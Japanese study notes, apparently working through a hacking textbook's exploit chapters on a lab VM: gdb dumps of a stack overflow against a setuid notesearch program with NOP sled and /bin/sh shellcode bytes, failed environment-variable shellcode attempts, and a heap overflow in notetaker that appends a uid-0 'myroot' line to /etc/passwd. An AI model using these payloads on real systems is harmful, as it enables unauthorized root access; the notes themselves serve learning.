0x804a016:  0x9a  0xf4  0xff  0xbf  0x9a  0xf4  0xff  0xbf
0x804a01e:  0x9a  0xf4  0xff  0xbf  0x9a  0xf4  0xff  0xbf
0x804a026:  0x9a  0xf4  0xff  0xbf  0x9a  0xf4  0xff  0xbf
0x804a02e:  0x9a  0xf4  0xff  0xbf  0x9a  0xf4  0xff  0xbf
0x804a036:  0x9a  0xf4  0xff  0xbf  0x9a  0xf4  0xff  0xbf
(gdb) x/s command
0x804a008:   "./notesearch '\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277"
(gdb) cont
Continuing.

Breakpoint 2, main (argc=1, argv=0xbffff674) at exploit_notesearch.c:26
26    memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
(gdb) x/40x buffer
0x804a016:  0x90  0x90  0x90  0x90  0x90  0x90  0x90  0x90
0x804a01e:  0x90  0x90  0x90  0x90  0x90  0x90  0x90  0x90
0x804a026:  0x90  0x90  0x90  0x90  0x90  0x90  0x90  0x90
0x804a02e:  0x90  0x90  0x90  0x90  0x90  0x90  0x90  0x90
0x804a036:  0x90  0x90  0x90  0x90  0x90  0x90  0x90  0x90
(gdb) x/s command
0x804a008:   "./notesearch '\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277"
(gdb) cont
Continuing.

Breakpoint 3, main (argc=1, argv=0xbffff674) at exploit_notesearch.c:28
28    strcat(command, "\'");
(gdb) x/40x buffer
0x804a016:  0x90  0x90  0x90  0x90  0x90  0x90  0x90  0x90
0x804a01e:  0x90  0x90  0x90  0x90  0x90  0x90  0x90  0x90
0x804a026:  0x90  0x90  0x90  0x90  0x90  0x90  0x90  0x90
0x804a02e:  0x90  0x90  0x90  0x90  0x90  0x90  0x90  0x90
0x804a036:  0x90  0x90  0x90  0x90  0x90  0x90  0x90  0x90
(gdb) x/s command
0x804a008:   "./notesearch '\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\061\300\061\333\061\311\231\260\244\315\200j\vXQh//shh/bin\211\343Q\211\342S\211\341\315\200\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277"
(gdb) x/120x buffer
0x804a016:  0x90  0x90  0x90  0x90  0x90  0x90  0x90  0x90
0x804a01e:  0x90  0x90  0x90  0x90  0x90  0x90  0x90  0x90
0x804a026:  0x90  0x90  0x90  0x90  0x90  0x90  0x90  0x90
0x804a02e:  0x90  0x90  0x90  0x90  0x90  0x90  0x90  0x90
0x804a036:  0x90  0x90  0x90  0x90  0x90  0x90  0x90  0x90
0x804a03e:  0x90  0x90  0x90  0x90  0x90  0x90  0x90  0x90
0x804a046:  0x90  0x90  0x90  0x90  0x90  0x90  0x90  0x90
0x804a04e:  0x90  0x90  0x90  0x90  0x31  0xc0  0x31  0xdb
0x804a056:  0x31  0xc9  0x99  0xb0  0xa4  0xcd  0x80  0x6a
0x804a05e:  0x0b  0x58  0x51  0x68  0x2f  0x2f  0x73  0x68
0x804a066:  0x68  0x2f  0x62  0x69  0x6e  0x89  0xe3  0x51
0x804a06e:  0x89  0xe2  0x53  0x89  0xe1  0xcd  0x80  0xbf
0x804a076:  0x9a  0xf4  0xff  0xbf  0x9a  0xf4  0xff  0xbf
0x804a07e:  0x9a  0xf4  0xff  0xbf  0x9a  0xf4  0xff  0xbf
0x804a086:  0x9a  0xf4  0xff  0xbf  0x9a  0xf4  0xff  0xbf
(gdb) 

0x804a016 ~ 0x804a04eまでの0x90はNOP命令
0x804a04e ~ 0x804a06eまでの以下はシェルコード

0x31  0xc0  0x31  0xdb 0x31  0xc9  0x99  0xb0  0xa4  0xcd  0x80  0x6a  0x0b  0x58  0x51  0x68  0x2f  0x2f  0x73  0x68  0x68  0x2f  0x62  0x69  0x6e  0x89  0xe3  0x51  0x89  0xe2  0x53  0x89  0xe1  0xcd  0x80

0x804a06eから0x804a086までの、0xbf 0x9a 0xf4 0xff は戻りアドレス

setuidフラグでroot権限でプログラムが実行できちゃう

# cd ../0x200/
# gcc -o notetaker notetaker.c 
# chown root:root ./notetaker
# chmod u+s ./notetaker
# ls -l ./notetaker
-rwsr-xr-x 1 root root 7108 Feb 25 07:54 ./notetaker
# ./notetaker "this is a test of multiuser notes"
[DEBUG] buffer   @ 0x898d008: 'this is a test of multiuser notes'
[DEBUG] datafile @ 0x898d070: '/var/notes'
[DEBUG] ファイル記述子:3
メモが保存されました
# ls -l /var/notes 
-rw------- 1 root root 39 Feb 25 07:54 /var/notes
# cat /var/notes 

this is a test of multiuser notes

# gcc -o notesearch notesearch.c 
# chown root:root ./notesearch
# chmod u+s ./notesearch
# ./notesearch 
[DEBUG] uid 0の34バイトのメモを見つけました。
this is a test of multiuser notes
-------[ メモの終わり ]-------

seqを利用して、コマンドを実行

# seq 1 10
1
2
3
4
5
6
7
8
9
10
# seq 1 3 10
1
4
7
10
# for i in $(seq 1 3 10);                              
> do
> echo The value is $i
> done
The value is 1
The value is 4
The value is 7
The value is 10
# for i in $(seq 0 30 300);
> do
> echo Trying offset $i
> ./a.out $i
> done
Trying offset 0
[DEBUG] uid 0の34バイトのメモを見つけました。
-------[ メモの終わり ]-------
Trying offset 30
[DEBUG] uid 0の34バイトのメモを見つけました。
-------[ メモの終わり ]-------
Trying offset 60
[DEBUG] uid 0の34バイトのメモを見つけました。
-------[ メモの終わり ]-------
Trying offset 90
[DEBUG] uid 0の34バイトのメモを見つけました。
-------[ メモの終わり ]-------
Trying offset 120
[DEBUG] uid 0の34バイトのメモを見つけました。
-------[ メモの終わり ]-------
Trying offset 150
[DEBUG] uid 0の34バイトのメモを見つけました。
-------[ メモの終わり ]-------
Trying offset 180
[DEBUG] uid 0の34バイトのメモを見つけました。
-------[ メモの終わり ]-------
Trying offset 210
[DEBUG] uid 0の34バイトのメモを見つけました。
-------[ メモの終わり ]-------
Trying offset 240
[DEBUG] uid 0の34バイトのメモを見つけました。
-------[ メモの終わり ]-------
Trying offset 270
[DEBUG] uid 0の34バイトのメモを見つけました。
-------[ メモの終わり ]-------
Trying offset 300
[DEBUG] uid 0の34バイトのメモを見つけました。
-------[ メモの終わり ]-------

結論を言うと、この章の内容は、今現時点で再現できず。精度が高い攻撃の脆弱性となりうるので、対策されているのか

$ gdb -q ./notesearch
(gdb) break main
(gdb) run
(gdb) x/1024s $esp - 0x240
0xbfd0cad8:  ""
0xbfd0cad9:  ""
0xbfd0cada:  ""
:
:
0xbfd0cba2:  ""
0xbfd0cba3:  ""
0xbfd0cba4:  "r\v\276"
0xbfd0cba8:  "\334\b\301"
0xbfd0cbac:  "`\203\004\b\260vz\267\002"
0xbfd0cbb6:  ""
0xbfd0cbb7:  ""
0xbfd0cbb8:  "mm\276"
0xbfd0cbbc:  "\334\202\004\b\350{\277"
0xbfd0cbc4:  "\304o\277"
0xbfd0cbc8:  "\320\033\300"
0xbfd0cbcc:  "\001"
0xbfd0cbce:  ""
0xbfd0cbcf:  ""
0xbfd0cbd0:  "|\314\320\277)\023\276"
0xbfd0cbd8:  ""
0xbfd0cbd9:  ""
:
:
0xbfd0cc0e:  ""
0xbfd0cc0f:  ""
0xbfd0cc10:  "\200vz\267"
0xbfd0cc15:  ""
0xbfd0cc16:  ""
0xbfd0cc17:  ""
0xbfd0cc18:  ""
0xbfd0cc19:  ""
0xbfd0cc1a:  ""
0xbfd0cc1b:  ""
0xbfd0cc1c:  "\330\035\300"
---Type <return> to continue, or q <return> to quit---
0xbfd0cc20:  "d!\277"
0xbfd0cc24:  "D\314\320\277X\247\300"
0xbfd0cc2c:  "\016"
0xbfd0cc2e:  ""
0xbfd0cc2f:  ""
0xbfd0cc30:  "q\352\261\a\200vz\267.N=\366"
0xbfd0cc3d:  ""
0xbfd0cc3e:  ""
0xbfd0cc3f:  ""
0xbfd0cc40:  "\003"
0xbfd0cc42:  ""
0xbfd0cc43:  ""
0xbfd0cc44:  ""
0xbfd0cc45:  "y\277"
0xbfd0cc48:  ""
0xbfd0cc49:  ""
0xbfd0cc4a:  ""
0xbfd0cc4b:  ""
0xbfd0cc4c:  ""
0xbfd0cc4d:  ""
0xbfd0cc4e:  ""
0xbfd0cc4f:  ""
0xbfd0cc50:  "\001"
0xbfd0cc52:  ""
0xbfd0cc53:  ""
0xbfd0cc54:  "\230\b"
0xbfd0cc57:  ""
0xbfd0cc58:  "\260vz\267\320sz\267N\203\004\bx\257\300"
0xbfd0cc68:  "\334\201\004\b\001"
0xbfd0cc6e:  ""
0xbfd0cc6f:  ""
0xbfd0cc70:  "\304o\277"
0xbfd0cc74:  "p\315\320\277\270z\277"
0xbfd0cc7c:  "D\315\320\277*\025\276"
0xbfd0cc84:  "4\315\320\277\334\201\004\b(\315\320\277\\z\277"
0xbfd0cc94:  ""
0xbfd0cc95:  ""
0xbfd0cc96:  ""
0xbfd0cc97:  ""
0xbfd0cc98:  "\260vz\267\001"
0xbfd0cc9e:  ""
0xbfd0cc9f:  ""
0xbfd0cca0:  ""
0xbfd0cca1:  ""
0xbfd0cca2:  ""
0xbfd0cca3:  ""
0xbfd0cca4:  "\001"
---Type <return> to continue, or q <return> to quit---
0xbfd0cca6:  ""
0xbfd0cca7:  ""
0xbfd0cca8:  ""
0xbfd0cca9:  "y\277"
0xbfd0ccac:  "\001"
0xbfd0ccae:  ""
0xbfd0ccaf:  ""
0xbfd0ccb0:  ""
0xbfd0ccb1:  ""
0xbfd0ccb2:  "\301"
0xbfd0ccb4:  ""
0xbfd0ccb5:  ""
0xbfd0ccb6:  ""
0xbfd0ccb7:  ""
0xbfd0ccb8:  "\377\265\360"
0xbfd0ccbc:  "\001"
0xbfd0ccbe:  ""
0xbfd0ccbf:  ""
0xbfd0ccc0:  "\302"
0xbfd0ccc2:  ""
0xbfd0ccc3:  ""
0xbfd0ccc4:  "\364\017"
0xbfd0ccc7:  ""
0xbfd0ccc8:  "\330\361\330"
0xbfd0cccc:  ""
0xbfd0cccd:  ""
0xbfd0ccce:  ""
0xbfd0cccf:  ""
0xbfd0ccd0:  "p\315\320\277\340\234\004\b\350\314\320\277d\204\004\b"
0xbfd0cce1:  ""
0xbfd0cce2:  "\340\001\340\234\004\b\030\315\320\277\231\211\004\b\330\361\330"
0xbfd0ccf4:  "N\203\004\b`!\331"
0xbfd0ccfc:  "\364\017\331"
0xbfd0cd00:  "\200\211\004\b\200\205\004\b\213\211\004\b\364\017\331"
0xbfd0cd10:  "\200\211\004\b"
0xbfd0cd15:  ""
0xbfd0cd16:  ""
0xbfd0cd17:  ""
0xbfd0cd18:  "\230\315\320\277&M\301"
0xbfd0cd20:  "\001"
0xbfd0cd22:  ""
0xbfd0cd23:  ""
0xbfd0cd24:  "\304\315\320\277\314\315\320\277\320sz\267\200\205\004\b\377\377\377\377\304o\277"
0xbfd0cd3c:  "N\203\004\b\001"
0xbfd0cd42:  ""
0xbfd0cd43:  ""
0xbfd0cd44:  "\200\315\320\277u^\276"
---Type <return> to continue, or q <return> to quit---
0xbfd0cd4c:  "\270z\277"
0xbfd0cd50:  "\260vz\267\364\017\331"
0xbfd0cd58:  ""
0xbfd0cd59:  ""
0xbfd0cd5a:  ""
0xbfd0cd5b:  ""
0xbfd0cd5c:  ""
0xbfd0cd5d:  ""
0xbfd0cd5e:  ""
0xbfd0cd5f:  ""
0xbfd0cd60:  "\230\315\320\277\255\211\242,\323\036\241\017"
0xbfd0cd6d:  ""
0xbfd0cd6e:  ""
0xbfd0cd6f:  ""
0xbfd0cd70:  ""
0xbfd0cd71:  ""
0xbfd0cd72:  ""
0xbfd0cd73:  ""
0xbfd0cd74:  ""
0xbfd0cd75:  ""
0xbfd0cd76:  ""
0xbfd0cd77:  ""
0xbfd0cd78:  "\001"
0xbfd0cd7a:  ""
0xbfd0cd7b:  ""
0xbfd0cd7c:  "\200\205\004\b"
0xbfd0cd81:  ""
0xbfd0cd82:  ""
0xbfd0cd83:  ""
0xbfd0cd84:  "\360\301\276"
0xbfd0cd88:  "KL\301"
0xbfd0cd8c:  "\304o\277"
0xbfd0cd90:  "\001"
0xbfd0cd92:  ""
0xbfd0cd93:  ""
0xbfd0cd94:  "\200\205\004\b"
0xbfd0cd99:  ""
0xbfd0cd9a:  ""
0xbfd0cd9b:  ""
0xbfd0cd9c:  "\241\205\004\b\265\206\004\b\001"
0xbfd0cda6:  ""
0xbfd0cda7:  ""
0xbfd0cda8:  "\304\315\320\277\200\211\004\bp\211\004\b\340h\276"
0xbfd0cdb8:  "\274\315\320\277"
0xbfd0cdbd:  ""
0xbfd0cdbe:  ""
0xbfd0cdbf:  ""
---Type <return> to continue, or q <return> to quit---
0xbfd0cdc0:  "\001"
0xbfd0cdc2:  ""
0xbfd0cdc3:  ""
0xbfd0cdc4:  "\234\346\320\277"
0xbfd0cdc9:  ""
0xbfd0cdca:  ""
0xbfd0cdcb:  ""
0xbfd0cdcc:  "\302\346\320\277\334\346\320\277\302\347\320\277\322\347\320\277\346\347\320\277\364\347\320\277\027\350\320\277*\350\320\277\064\350\320\277A\356\320\277M\356\320\277\243\356\320\277\275\356\320\277\314\356\320\277\353\356\320\277\364\356\320\277\v\357\320\277>\357\320\277I\357\320\277Q\357\320\277^\357\320\277\223\357\320\277\266\357\320\277\301\357\320\277"
0xbfd0ce2d:  ""
0xbfd0ce2e:  ""
0xbfd0ce2f:  ""
0xbfd0ce30:  " "
0xbfd0ce32:  ""
0xbfd0ce33:  ""
0xbfd0ce34:  "\024\224K"
0xbfd0ce38:  "!"
0xbfd0ce3a:  ""
0xbfd0ce3b:  ""
0xbfd0ce3c:  ""
0xbfd0ce3d:  "\220K"
0xbfd0ce40:  "\020"
0xbfd0ce42:  ""
0xbfd0ce43:  ""
0xbfd0ce44:  "\377\373\213\027\006"
0xbfd0ce4a:  ""
0xbfd0ce4b:  ""
0xbfd0ce4c:  ""
0xbfd0ce4d:  "\020"
0xbfd0ce4f:  ""
0xbfd0ce50:  "\021"
0xbfd0ce52:  ""
0xbfd0ce53:  ""
0xbfd0ce54:  "d"
0xbfd0ce56:  ""
0xbfd0ce57:  ""
0xbfd0ce58:  "\003"
0xbfd0ce5a:  ""
0xbfd0ce5b:  ""
0xbfd0ce5c:  "4\200\004\b\004"
0xbfd0ce62:  ""
0xbfd0ce63:  ""
0xbfd0ce64:  " "
0xbfd0ce66:  ""
0xbfd0ce67:  ""
---Type <return> to continue, or q <return> to quit---
0xbfd0ce68:  "\005"
0xbfd0ce6a:  ""
0xbfd0ce6b:  ""
0xbfd0ce6c:  "\b"
0xbfd0ce6e:  ""
0xbfd0ce6f:  ""
0xbfd0ce70:  "\a"
0xbfd0ce72:  ""
0xbfd0ce73:  ""
0xbfd0ce74:  ""
0xbfd0ce75:  ""
0xbfd0ce76:  ""
0xbfd0ce77:  ""
0xbfd0ce78:  "\b"
0xbfd0ce7a:  ""
0xbfd0ce7b:  ""
0xbfd0ce7c:  ""
0xbfd0ce7d:  ""
0xbfd0ce7e:  ""
0xbfd0ce7f:  ""
0xbfd0ce80:  "\t"
0xbfd0ce82:  ""
0xbfd0ce83:  ""
0xbfd0ce84:  "\200\205\004\b\v"
0xbfd0ce8a:  ""
0xbfd0ce8b:  ""
0xbfd0ce8c:  ""
0xbfd0ce8d:  ""
0xbfd0ce8e:  ""
0xbfd0ce8f:  ""
0xbfd0ce90:  "\f"
0xbfd0ce92:  ""
0xbfd0ce93:  ""
0xbfd0ce94:  ""
0xbfd0ce95:  ""
0xbfd0ce96:  ""
0xbfd0ce97:  ""
0xbfd0ce98:  "\r"
0xbfd0ce9a:  ""
0xbfd0ce9b:  ""
0xbfd0ce9c:  ""
0xbfd0ce9d:  ""
0xbfd0ce9e:  ""
0xbfd0ce9f:  ""
0xbfd0cea0:  "\016"
0xbfd0cea2:  ""
0xbfd0cea3:  ""
---Type <return> to continue, or q <return> to quit---
0xbfd0cea4:  ""
0xbfd0cea5:  ""
0xbfd0cea6:  ""
0xbfd0cea7:  ""
0xbfd0cea8:  "\027"
0xbfd0ceaa:  ""
0xbfd0ceab:  ""
0xbfd0ceac:  ""
0xbfd0cead:  ""
0xbfd0ceae:  ""
0xbfd0ceaf:  ""
0xbfd0ceb0:  "\031"
0xbfd0ceb2:  ""
0xbfd0ceb3:  ""
0xbfd0ceb4:  "\333\316\320\277\037"
0xbfd0ceba:  ""
0xbfd0cebb:  ""
0xbfd0cebc:  "\326\357\320\277\017"
0xbfd0cec2:  ""
0xbfd0cec3:  ""
0xbfd0cec4:  "\353\316\320\277"
0xbfd0cec9:  ""
0xbfd0ceca:  ""
0xbfd0cecb:  ""
0xbfd0cecc:  ""
0xbfd0cecd:  ""
0xbfd0cece:  ""
0xbfd0cecf:  ""
0xbfd0ced0:  ""
0xbfd0ced1:  ""
0xbfd0ced2:  ""
0xbfd0ced3:  ""
0xbfd0ced4:  ""
0xbfd0ced5:  ""
0xbfd0ced6:  ""
0xbfd0ced7:  ""
0xbfd0ced8:  ""
0xbfd0ced9:  ""
0xbfd0ceda:  ""
0xbfd0cedb:  "\251\324\230\025d\234Fig\fH\270\270\372\363Di686"
0xbfd0cef0:  ""
0xbfd0cef1:  ""
0xbfd0cef2:  ""
0xbfd0cef3:  ""
0xbfd0cef4:  ""
0xbfd0cef5:  ""
0xbfd0cef6:  ""
---Type <return> to continue, or q <return> to quit---

0xbfd0cedbにi686の文字列
0xbfd0cdcc辺りに長い文字列
SHELLCODEの変数見つけられず。。

本当は見つけられていたら、それでシェルを取れていた予定だったが。。

(gdb) x/s 0xbfd0cdcc
0xbfd0cdcc:  "\302\346\320\277\334\346\320\277\302\347\320\277\322\347\320\277\346\347\320\277\364\347\320\277\027\350\320\277*\350\320\277\064\350\320\277A\356\320\277M\356\320\277\243\356\320\277\275\356\320\277\314\356\320\277\353\356\320\277\364\356\320\277\v\357\320\277>\357\320\277I\357\320\277Q\357\320\277^\357\320\277\223\357\320\277\266\357\320\277\301\357\320\277"
(gdb) x/s 0xbfd0cdcc + 100
0xbfd0ce30:  " "
(gdb) x/s 0xbfd0cdcc + 10 
0xbfd0cdd6:  "\320\277\322\347\320\277\346\347\320\277\364\347\320\277\027\350\320\277*\350\320\277\064\350\320\277A\356\320\277M\356\320\277\243\356\320\277\275\356\320\277\314\356\320\277\353\356\320\277\364\356\320\277\v\357\320\277>\357\320\277I\357\320\277Q\357\320\277^\357\320\277\223\357\320\277\266\357\320\277\301\357\320\277"
(gdb) quit
# ./notesearch $(perl -e 'print "\xd6\xcd\xd0\xbf"')
[DEBUG] uid 0の34バイトのメモを見つけました。
-------[ メモの終わり ]-------

同様に無理

# gcc getenv_example.c 
# ./a.out SHELLCODE
SHELLCODE is at 0xbfa706ec
# ./notesearch $(perl -e 'print "\xec\x06\xa7\xbf"x40')
[DEBUG] uid 0の34バイトのメモを見つけました。
[DEBUG] uid 0の34バイトのメモを見つけました。
-------[ メモの終わり ]-------
???????ơ???????ȿ?Ǥ? (?????????)

NOPスレッドを用いた場合は、予測できていても、これは環境変数の予測にまだ誤差があるということ。
さらに正確なメモリアドレスを予測できるように調査

# ./a.out SLEDLESS
SLEDLESS is at 0xbfd3ffa6
# ./notesearch $(perl -e 'print "\xa6\xff\xd3\xbf"')
[DEBUG] uid 0の34バイトのメモを見つけました。
[DEBUG] uid 0の34バイトのメモを見つけました。
-------[ メモの終わり ]-------

プログラム名の長さで環境変数のアドレスに影響が与えられている -> プログラム名の長さが1文字増加するたびに環境変数の値が2バイト減っているといいたいがなってない!!! 何か対策がされている??
実行プログラム名もスタックのどこかに格納されており、それによってずれが生じていく。 -> NOP命令をなくしていける

# cp a.out a
# ./a SLEDLESS
SLEDLESS is at 0xbfe15fae
# cp a.out bb
# ./bb SLEDLESS
SLEDLESS is at 0xbfb61fac
# cp a.out ccc
# ./ccc SLEDLESS
SLEDLESS is at 0xbf82afaa
# ./a.out SLEDLESS
SLEDLESS is at 0xbff2ffa6

アドレス配置がランダム化されているような感じ。

# gdb -q
(gdb) p 0xbfe15fae - 0xbff2ffa6
$1 = 4293812232
(gdb) p 0xbff2ffa6 - 0xbfe15fae
$2 = 1155064

glibcのバージョンは、2.12-1。本書はlibc 2.2.2

$ rpm -q glibc
glibc-2.12-1.209.el6_9.2.i686

0x340: 他のセグメントでのオーバーフロー

0x341 ヒープセグメントでのオーバーフロー

  • datafileを本来/var/notesと意図していたところ”testfile”という文字列の上書きに成功する
  • しかし、free()関数によってヒープメモリの解放を行う差異に、オーバーフローによって破壊されたヒープヘッダないでエラーが検出されるため、プログラムは終了
  • ヒープというアーキテクチャ自身にも制御のポイントがある
# ./notetaker test
[DEBUG] buffer   @ 0x9612008: 'test'
[DEBUG] datafile @ 0x9612070: '/var/notes'
[DEBUG] ファイル記述子:3
メモが保存されました
# gdb -q
(gdb) p 0x9612070 - 0x9612008
$1 = 104                                                 <- bufferとdatafileのアドレスの距離が104であることを確認。
(gdb) quit
# ./notetaker $(perl -e 'print "A"x104')
[DEBUG] buffer   @ 0x903b008: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
[DEBUG] datafile @ 0x903b070: ''
[!!] 致命的なエラー:main()内、ファイルのオープン中にエラーが発生しました。: No such file or directory
[root@ip-172-31-25-205 0x300]# perl -e 'print "A"x104'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[root@ip-172-31-25-205 0x300]# 
[root@ip-172-31-25-205 0x300]# ./notetaker test
[DEBUG] buffer   @ 0x8216008: 'test'
[DEBUG] datafile @ 0x8216070: '/var/notes'
[DEBUG] ファイル記述子:3
メモが保存されました
# ./notetaker $(perl -e 'print "A" x 104 ."testfile";')    <- bufferとdatafileのアドレスの距離である104の次にファイル名を追記
[DEBUG] buffer   @ 0x90e4008: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAtestfile'
[DEBUG] datafile @ 0x90e4070: 'testfile'                    <- datafileの内容を"testfile"で書き換えできている
[DEBUG] ファイル記述子:3
メモが保存されました
*** glibc detected *** ./notetaker: free(): invalid next size (normal): 0x090e4008 ***
======= Backtrace: =========
/lib/libc.so.6[0xc6ebb1]
/lib/libc.so.6[0xc71611]
./notetaker[0x80488b5]
/lib/libc.so.6(__libc_start_main+0xe6)[0xc14d26]
./notetaker[0x80485a1]
======= Memory map: ========
00257000-00274000 r-xp 00000000 ca:02 58338      /lib/libgcc_s-4.4.7-20120601.so.1
00274000-00275000 rw-p 0001d000 ca:02 58338      /lib/libgcc_s-4.4.7-20120601.so.1
009f2000-009f3000 r-xp 00000000 00:00 0          [vdso]
00bd7000-00bf6000 r-xp 00000000 ca:02 58322      /lib/ld-2.12.so
00bf6000-00bf7000 r--p 0001e000 ca:02 58322      /lib/ld-2.12.so
00bf7000-00bf8000 rw-p 0001f000 ca:02 58322      /lib/ld-2.12.so
00bfe000-00d8f000 r-xp 00000000 ca:02 58323      /lib/libc-2.12.so
00d8f000-00d91000 r--p 00191000 ca:02 58323      /lib/libc-2.12.so
00d91000-00d92000 rw-p 00193000 ca:02 58323      /lib/libc-2.12.so
00d92000-00d95000 rw-p 00000000 00:00 0 
08048000-08049000 r-xp 00000000 ca:02 77656      /home/centos/Hacking/0x300/notetaker
08049000-0804a000 rw-p 00000000 ca:02 77656      /home/centos/Hacking/0x300/notetaker
090e4000-09105000 rw-p 00000000 00:00 0          [heap]
b7600000-b7621000 rw-p 00000000 00:00 0 
b7621000-b7700000 ---p 00000000 00:00 0 
b778d000-b778e000 rw-p 00000000 00:00 0 
b7792000-b7795000 rw-p 00000000 00:00 0 
bf83c000-bf851000 rw-p 00000000 00:00 0          [stack]
???ܡ??Ȥ??ޤ??? (?????????)
# grep -B10 free ../0x200/notetaker.c

   if(write(fd, buffer, strlen(buffer)) == -1) // メモを書き込む。
      fatal("main()内、ファイルへのバッファの書き込みでエラーが発生しました。"); 
   write(fd, "\n", 1); // 改行する。

// ファイルのクローズ
   if(close(fd) == -1) 
      fatal("main()内、ファイルのクローズ中にエラーが発生しました。");

   printf("メモが保存されました\n");
   free(buffer); 
   free(datafile);
# cat ./testfile 

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAtestfile

ファイルの書き換えを利用して、/etc/passwdの書き換えをしてみる
/etc/passwdは、最初の”:”のあとにパスワードが書かれている。”x”となっているのは、/etc/shadowで定義されている。パスワードは単方向ハッシュアルゴリズムでハッシュ化されている。

# cp /etc/passwd /tmp/passwd.bkup                     <- 念のためバックアップ
# head /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
[root@ip-172-31-25-205 0x300]# cat /etc/shadow
root:*:15980:0:99999:7:::
bin:*:15980:0:99999:7:::
daemon:*:15980:0:99999:7:::
adm:*:15980:0:99999:7:::
lp:*:15980:0:99999:7:::
sync:*:15980:0:99999:7:::
shutdown:*:15980:0:99999:7:::
halt:*:15980:0:99999:7:::
mail:*:15980:0:99999:7:::
uucp:*:15980:0:99999:7:::
operator:*:15980:0:99999:7:::
games:*:15980:0:99999:7:::
gopher:*:15980:0:99999:7:::
ftp:*:15980:0:99999:7:::
nobody:*:15980:0:99999:7:::
dbus:!!:16385::::::
vcsa:!!:16385::::::
abrt:!!:16385::::::
saslauth:!!:16385::::::
ntp:!!:16385::::::
haldaemon:!!:16385::::::
mailnull:!!:16385::::::
smmsp:!!:16385::::::
tcpdump:!!:16385::::::
sshd:!!:16385::::::

ハッシュ化は、
ハッシュ値の先頭が常にsaltの値に一致している。
検索で比較の際に利用する。

Perlのcrypt()関数

# perl -e 'print crypt("password", "AA"). "\n"'
AA6tQYSfGxd/A
# perl -e 'print crypt("password", "XX"). "\n"'
XXq2wKiyI43A2

/etc/passwdの書き換え

# mkdir /tmp/etc
# ln -s /bin/bash /tmp/etc/passwd
# ls -l /tmp/etc/passwd 
lrwxrwxrwx 1 root root 9 Feb 25 09:42 /tmp/etc/passwd -> /bin/bash
# perl -e 'print "myroot:XXq2wKiyI43A2:0:0:me:/root:/tmp"' | wc -c
38
# perl -e 'print "myroot:XXq2wKiyI43A2:0:0:" . "A"x50 . ":/root:/tmp"' | wc -c
86
# gdb -q
(gdb) p 104 - 86 + 50
$1 = 68
(gdb) quit 
# perl -e 'print "myroot:XXq2wKiyI43A2:0:0:" . "A"x68 . ":/root:/tmp"' | wc -c
104
# ./notetaker $(perl -e 'print "myroot:XXq2wKiyI43A2:0:0:" . "A"x68 . ":/root:/tmp/etc/passwd"')
[DEBUG] buffer   @ 0x928f008: 'myroot:XXq2wKiyI43A2:0:0:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:/root:/tmp/etc/passwd'
[DEBUG] datafile @ 0x928f070: '/etc/passwd'
[DEBUG] ファイル記述子:3
メモが保存されました
*** glibc detected *** ./notetaker: free(): invalid next size (normal): 0x0928f008 ***
======= Backtrace: =========
/lib/libc.so.6[0xc6ebb1]
/lib/libc.so.6[0xc71611]
./notetaker[0x80488b5]
/lib/libc.so.6(__libc_start_main+0xe6)[0xc14d26]
./notetaker[0x80485a1]
======= Memory map: ========
00257000-00274000 r-xp 00000000 ca:02 58338      /lib/libgcc_s-4.4.7-20120601.so.1
00274000-00275000 rw-p 0001d000 ca:02 58338      /lib/libgcc_s-4.4.7-20120601.so.1
